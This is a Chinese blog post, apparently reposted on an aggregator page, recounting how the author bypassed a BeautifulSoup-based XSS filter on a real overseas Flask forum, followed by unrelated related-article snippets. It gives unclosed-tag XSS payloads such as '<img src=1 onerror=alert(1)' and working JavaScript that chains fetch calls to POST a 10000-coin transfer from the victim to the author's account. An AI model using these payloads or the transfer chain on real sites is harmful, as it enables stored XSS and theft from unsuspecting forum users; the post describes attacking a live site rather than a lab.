某个国外的真实XSS漏洞利用探寻

news2024/9/23 17:16:49

Background

在一次测试中,在git中找到部分的源码,发现可能存在xss问题,但是经过了一点处理,于是经过探寻思考,找到了bypass的方法,写下本篇文章

Part.1 从git到混淆

server头看见这个配置 基本是flask了,而且也能确定是python,把前端部分源码放在github搜一下找到了部分代码

看到如下的混淆

上网找了找相关混淆资料

https://pyob.oxyry.com/

发现有在线解混淆的网站 最后我定位了一处核心代码在这里

def check_xss(smeo_text):
    soup = BeautifulSoup(smeo_text, "html.parser")
    tags_found = soup.find_all()
    return bool(tags_found)

我注意到这里他的xss处理其实很草率,用BeautifulSoup来过一遍论坛的文本内容,只进行了tag的匹配,并没有做诸如实体化编码类型的过滤,所以我觉得是有问题的

Part.2 探寻BeautifulSoup的html.parser

首先我手搓了一个demo

from bs4 import BeautifulSoup

# 示例的 HTML 文档
html_doc = """
<html>
<head><title>Example</title></head>
<body>
<p class="title"><b>The Dormouse's story</b></p>

<p class="story">Once upon a time there were three little sisters; and their names were
<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,
<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and
<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;
and they lived at the bottom of a well.</p>

<p class="story">...</p>
"""

# 使用 BeautifulSoup 解析 HTML
soup = BeautifulSoup(html_doc, 'html.parser')

# 找到所有的标签并打印它们的名称
tags = soup.find_all()
for tag in tags:
    print(tag.name)

在这里我简单思考了下他的匹配标签的标准 一个是把关键字 常见的进行提取,第二种就是基于<>一个完整的标签为整体 提取里面的内容

翻了下beautifulsoup的html.parser代码

interesting_normal = re.compile('[&<]')
incomplete = re.compile('&[a-zA-Z#]')

entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]')
charref = re.compile('&#(?:[0-9]+|[xX][0-9a-fA-F]+)[^0-9a-fA-F]')

starttagopen = re.compile('<[a-zA-Z]')
piclose = re.compile('>')
commentclose = re.compile(r'--\s*>')
tagfind_tolerant = re.compile(r'([a-zA-Z][^\t\n\r\f />\x00]*)(?:\s|/(?!>))*')
attrfind_tolerant = re.compile(
    r'((?<=[\'"\s/])[^\s/>][^\s/=>]*)(\s*=+\s*'
    r'(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?(?:\s|/(?!>))*')
locatestarttagend_tolerant = re.compile(r"""
  <[a-zA-Z][^\t\n\r\f />\x00]*       # tag name
  (?:[\s/]*                          # optional whitespace before attribute name
    (?:(?<=['"\s/])[^\s/>][^\s/=>]*  # attribute name
      (?:\s*=+\s*                    # value indicator
        (?:'[^']*'                   # LITA-enclosed value
          |"[^"]*"                   # LIT-enclosed value
          |(?!['"])[^>\s]*           # bare value
         )
        \s*                          # possibly followed by a space
       )?(?:\s|/(?!>))*
     )*
   )?
  \s*                                # trailing whitespace
""", re.VERBOSE)
endendtag = re.compile('>')
# the HTML 5 spec, section 8.1.2.2, doesn't allow spaces between
# </ and the tag name, so maybe this should be fixed
endtagfind = re.compile(r'</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>')

可以看到他的匹配方式是我们想到的第二种 也就是我们不希望有>出现,而且一些常见的<script>这种需要成对出现的标签已经被否定了,我们需要探寻单标签

Part.3 xss利用

到这里其实能找到很多不需要成对的poc

<body/onload=alert(1)>
<svg/onload=alert(1)>
<iframe/onload=alert(1)>
<img src=1 onerror=alert(1)>

而且因为html其实是比较松散的,如果不带> 其实也是可以的 比如我们创建如下的代码

其实是会被弹窗的,在浏览器里你提取<img标签的内容其实是

<img src="1" onerror="alert(1)" <="" body="">

这个原因是因为 </body>的>关闭了标签 实际上也就不存在 </body> 标签 而是你在 svg 标签中有一个 </body 属性 而且浏览器机制也会帮你补一个新的</body>标签 所以如果你没有这些完整的html机构 单纯的<img src=1 onerror=alert(1)是不能用的

去真实环境尝试了下 发现果真如思考的一样 但是没弹窗 因为后面的</p语法错误了 我们注释掉即可

发现是可以直接弹窗的

Part4. 扩大危害

前面埋了个伏笔 是一个flask程序,他配置的很好所以我们偷cookies可能作用不是特别大了,于是开始思考有没有什么其他的思路

代码里面还暴露了一个路由转指定论坛的币 经过测试我发现他的转钱如果从自己的个人主页跳转到/transfer路由就不要求验证

那我就可以构造js使用then 构造一个chain来转给我本身

fetch('/page', { method: 'GET' })
  .then(function() {
    return fetch('/transfer', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: 'money=10000&transfer_id=21e3e7f6210'
    });
  })
  .then(function() {
    window.location.href = '/forum';
  });

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1989781.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

普中51单片机:DS18B20温度传感器操作指南(十三)

文章目录 引言电路图引脚讲解初始化时序写时序读时序温度变换温度读取完整代码 引言 DS18B20是一款单总线接口的数字温度传感器&#xff0c;仅需一个IO口即可实现数据通信。这里只对如何简单操作开发板的DS1802进行讲解&#xff0c;关于DS18B20温度传感器的详细操作原理&#…

矢量文件坐标转换:2000坐标系转换为wgs84坐标系,具体代码实现

最近在处理矢量样本的时候&#xff0c;遇到一些shp文件的坐标系为2000坐标&#xff0c;需要统一地把非WGS84坐标系的矢量转换为WGS84坐标系。 本文记录一下如何进行2000坐标系转化为wgs84坐标系的过程。 在处理矢量数据转换的过程中&#xff0c;有几个关键步骤确保了数据的有效…

ComfyUI LoRA应用和三级放大

ComfyUI LoRA应用和三级放大 LoRA加载器LoRA应用三级放大 LoRA加载器 新建节点–>加载器–>LoRA加载器 LoRA应用 如下图串起来 三级放大

ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

一.环境配置 腾讯云的ubuntu操作系统&#xff0c;已经安装有docker 和 vulhub 直接来到 启动环境docker-compose&#xff0c;要在root权限下运行。 docker-compose up -d 若出现等待时间过长的情况&#xff0c;请参考这篇文章http://t.csdnimg.cn/SYhbE 访问http://公网ip:8…

Vivado启用modelsim报错boost::filesystem::remove

问题描述 在vivado中以配置好仿真工具为modelsim&#xff0c;但是启动仿真时报错如下&#xff1a; boost::filesystem::remove: 另一个程序正在使用此文件&#xff0c;进程无法访问。 "C:/Users/ZYP_PC/Desktop/verilog_test/simulation_project/project_1/project_1.si…

VTK8.2.0编译(Qt 5.14.2+VS2017)

VTK8.2.0编译(Qt 5.14.2+VS2017) 关于Qt和MSVC的安装,可以参考文章(Qt+MSVC2017)。 本篇VTK在Qt+MSVC的配置下的编译。VTK 以8.2.0为例。 一、环境变量的配置 我们打开电脑的环境变量,可以看到没有Qt相关的路径的配置: 我们把Qt相关的变量增加一下(主要以64位为主,…

day02-员工管理、Swapper测试、JWT、ThreadLocal、全局时间转换

苍穹外卖-day02 课程内容 新增员工员工分页查询启用禁用员工账号编辑员工导入分类模块功能代码 **功能实现&#xff1a;**员工管理、菜品分类管理。 员工管理效果&#xff1a; 菜品分类管理效果&#xff1a; 1. 新增员工 1.1 需求分析和设计 1.1.1 产品原型 一般在做需求…

LNMP环境搭建论坛

注意&#xff1a;这里用的是Rocky Linux自带的Nginx 1.1 环境准备 1.1.1 安装部署Nginx、MySQL和PHP相关组件 [rootRocky8-node1 ~]# yum install nginx php-mysqlnd php php-gd php-fpm php-xml mysql-server -y 1.1.2 启动服务 [rootRocky8-node1 ~]# systemctl enable …

【C++】C++入门基础【类与对象】

目录 1.类 1.1类的定义 1.2struct 与 class对比 2.访问限定符 3. 类域 4.实例化 5.存储大小----内存对齐 6.this指针 1.类 1.1类的定义 class作为类的关键字&#xff0c;后面跟的是类的名字&#xff0c;如Stack&#xff0c;{}中的为类的主体&#xff0c;类定义结束时…

cpp笔记07:STL

STL 基本概念 STL&#xff08;Standard Template Library&#xff0c;标准模板库&#xff09; STL从广义上分为&#xff1a;容器&#xff08;container&#xff09;算法&#xff08;algorithm&#xff09;迭代器&#xff08;iterator&#xff09; 容器和算法之间通过迭代器…

8.7 Day15 匿名用户访问FTP与日志查看

查看配置文件 vsftpd是一个认证文件&#xff0c;意味着ftp是通过vsftpd这个认证文件来对我们输入的用户名和密码进行认证的&#xff0c;那么这个认证文件在哪里呢&#xff1f; 所在位置如下&#xff1a; 查看文件配置内容 默认通过系统来验证&#xff0c;但现在我们欲做一个类…

web自动化7-pytest④实践测试用例-回归用例web自动化部分代码

文档说明: 本文档包括web自动化目录结构代码元素定位 : 父级, 同级后面, 同级div, 包含, 不包含, 鼠标右键, 悬停, 句柄切换(浏览器切换,关闭), 不可见元素查找, 滑动到不可见元素出现, 悬停后点击, 页面有值判断, 页面数据量判断web自动化: 前置, 后置事件 结合上篇文章, 基本…

Django—模板继承和包含

模块的继承意义&#xff1a;将需要多次用到的内容&#xff08;盒子&#xff09;进行引用&#xff0c;减少代码的重复使用 如我们经常在网上看见的导航栏&#xff0c;页脚等 第一步&#xff1a;我们将继承模块写在一个html文件里面 第二步&#xff1a;创建一个html文件&#x…

【归并排序/快排/堆排序】912. 排序数组

力扣连接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 归并排序 对左右子集合分别排序&#xff0c;然后合并两个有序数组 class Solution {int[] nums;public int[] sortArray(int[] nums) {this.nums nums;return sort(0, nums.length-1);}int[] sort(int st, i…

电机学前置知识

https://zhuanlan.zhihu.com/p/712393024 基本定律 全电流定律&#xff08;安培环路定律&#xff09; 在磁场中沿任意闭合回路磁场强度的线积分等于穿过该回路所有电流的代数和&#xff0c;即&#xff1a; ∮ H ⋅ d l ∮ J ⋅ d s \oint H \cdot dl \oint J \cdot ds ∮H…

Windows 11下RTX 4090深度学习及大模型微调环境安装指南

在安装深度学习及大模型微调环境时&#xff0c;经历了多次反复操作&#xff08;如CUDA、cuDNN、PyTorch的安装与卸载&#xff09;。为了避免走弯路&#xff0c;总结了以下步骤&#xff1a; 步骤 1&#xff1a;显卡驱动安装 首先在安装完Windows 11后&#xff0c;安装RTX 4090显…

C++——类模板经典案例——自定义通用数组类

案例&#xff1a;自定义数组类 需求&#xff1a; 1&#xff0c;对内置数据及自定义数据类型的数据存储 2&#xff0c;将数组中的数据存储到堆区 3&#xff0c;构造函数中可以存入数组的容量 4&#xff0c;提供对应的拷贝构造函数和运算符重载防止浅拷贝问题的发生 5&#xff0c…

户外上网黑科技|300~500元随身wifi测评推荐,华为vs格行vs中兴vs上赞,哪个好?

1.老牌国货&#xff0c;颜值担当——华为 设备价格&#xff1a;499元 套餐价格&#xff1a;99一个月 599一年 质保时间&#xff1a;1年 测评&#xff1a;网速大概在50~60M/S&#xff0c;华为是老牌国货了&#xff0c;设备上没有硬伤&#xff0c;家里连接多设备都没什么问…

小怡分享之Java中的异常

前言&#xff1a; &#x1f308;✨之前小怡带大家认识了String类&#xff0c;今天小怡给大家分享Java中的异常。 1.异常的概念与体系结构 1.1 异常的概念 在日常开发中&#xff0c;绞尽脑汁将代码写的尽善尽美&#xff0c;在程序运行中&#xff0c;难免会出现一些奇奇怪怪…

Python学习(2):在单机机器学习,使用Dask实现鸢尾数据集 Iris 的分类任务

目录 一、源码来源 二、鸢尾花数据集的品种分类 1、数据处理步骤 &#xff08;1&#xff09;数据集加载 &#xff08;2&#xff09;准备特征和标签 &#xff08;3&#xff09;训练集和测试集划分 2、安装必需的软件包 3、运行程序 三、信用卡欺诈数据集检测信用卡交易…